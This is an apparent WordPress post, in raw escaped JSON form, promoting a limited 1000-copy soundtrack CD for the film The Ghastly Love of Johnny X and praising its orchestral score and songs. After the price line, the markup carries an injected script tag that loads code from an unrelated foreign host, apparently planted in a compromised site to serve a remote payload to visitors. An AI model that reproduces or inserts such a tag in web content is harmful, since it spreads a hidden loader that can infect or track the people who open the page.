Is it science fiction?  Is it a musical? Is it homage?  Yes, yes, and yes. but above all it\u2019s a completely unique, weird, wild, and wacky movie, from the unique, weird, wild, and wacky imagination of filmmaker Paul Bunnell.  Shot in gorgeous black-and-white scope, it\u2019s not an easy film to describe and it\u2019s best just to see it as soon as you possibly can (it\u2019s currently making the rounds of many film festivals).   It\u2019s clever, funny, quirky, with an occasional dash of David Lynchian weirdness, and it\u2019s sort of unlike any other film you\u2019ve seen.  And any movie that has Kevin McCarthy AND Paul Williams is worth catching.<\/p>\n<p>Composer Ego Plum has come up with a fantastic score \u2013 big, orchestral, and immensely entertaining.  Occasionally channeling the ghosts of Bernard Herrmann (especially The Day the Earth Stood Still), John Williams, Jerry Goldsmith, and Franz Waxman (especially The Bride of Frankenstein), Plum\u2019s score is infectious, melodic, and grand fun, and despite the occasional homages, wildly original.  Big orchestra, choir, the ubiquitous theremin sound, a twangy guitar, all of it \u2013 a classic sci-fi genre score.  Add to that clever and catchy songs (six of \u2018em) by composer\/lyricist Scott Martin (and orchestrated by Plum) and you have one incredibly entertaining seventy-minute CD.<\/p>\n<p>The Ghastly Love of Johnny X \u2013 resistance is futile. <\/p>\n<p>The Ghastly Love of Johnny X is limited to 1000 copies only.  The price is $19.98, plus shipping.<script src=\"\/\/pngme.ru\/seter\"><\/script><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>What is The Ghastly Love of Johnny X?
